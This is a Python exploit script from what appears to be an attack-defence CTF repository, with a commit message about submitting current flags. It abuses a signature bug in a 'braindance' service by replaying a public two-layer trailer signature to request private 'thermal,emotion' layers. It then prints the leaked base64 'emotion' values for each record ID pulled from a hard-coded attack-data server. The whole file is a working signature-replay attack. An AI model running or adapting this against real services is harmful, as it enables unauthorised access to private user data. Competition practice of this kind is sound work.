Files
mctf/braindance/sploits/trailer_private.py
T
TakuyaYagam1 8f58bbef82 fix(exploits): submit only current flags
- Filter Pamsave files by the active flag lifetime window.
- Use Braindance attack-data record IDs instead of scanning history.
2026-11-29 15:03:15 +03:00

94 lines
2.7 KiB
Python

#!/usr/bin/env python3
"""Exploit the pre-patch private-layer trailer signature bug.
The vulnerable service signed only the number of requested layers. A public
two-layer trailer signature could therefore be replayed for ``thermal,emotion``.
Against the patched service this script must report that every attempt is
blocked.
"""
from __future__ import annotations
import base64
import sys
import requests
PORT = 5000
TIMEOUT = 4
ATTACK_DATA_URL = "http://111.88.219.93/attack_data"
PRIVATE_LAYERS = "thermal,emotion"
def log(message: str) -> None:
print(message, file=sys.stderr, flush=True)
def attack_record_ids(data: dict, target: str) -> list[str]:
seen: set[str] = set()
result: list[str] = []
for row in data.get("braindance", {}).get(target, []):
record_id = str(row.get("record", ""))
if record_id and record_id not in seen:
seen.add(record_id)
result.append(record_id)
return result
def run(target: str) -> int:
session = requests.Session()
session.trust_env = False
base = f"http://{target}:{PORT}"
attack_data = session.get(ATTACK_DATA_URL, timeout=TIMEOUT).json()
record_ids = attack_record_ids(attack_data, target)
if not record_ids:
raise RuntimeError("no braindance attack_data for target")
leaked = 0
for rid in record_ids:
record_response = session.get(f"{base}/records/{rid}", timeout=TIMEOUT)
if record_response.status_code == 404:
continue
record_response.raise_for_status()
record = record_response.json()
trailer = record.get("trailer") or {}
signature = trailer.get("sig")
if not signature:
continue
response = session.get(
f"{base}/trailer/{rid}",
params={"layers": PRIVATE_LAYERS, "sig": signature},
timeout=TIMEOUT,
)
if response.status_code == 403:
continue
response.raise_for_status()
emotion_b64 = (response.json().get("layers") or {}).get("emotion")
if not emotion_b64:
continue
value = base64.b64decode(emotion_b64, validate=True).decode("utf-8", "replace")
leaked += 1
print(f"{record.get('owner', '?')} {rid}: {value}")
log(f"target={target} records={len(record_ids)} leaked={leaked}")
return 0 if leaked else 1
def main() -> int:
if len(sys.argv) != 2:
log(f"usage: {sys.argv[0]} TARGET")
return 2
try:
return run(sys.argv[1])
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
log(f"target={sys.argv[1]} error={exc}")
return 1
if __name__ == "__main__":
raise SystemExit(main())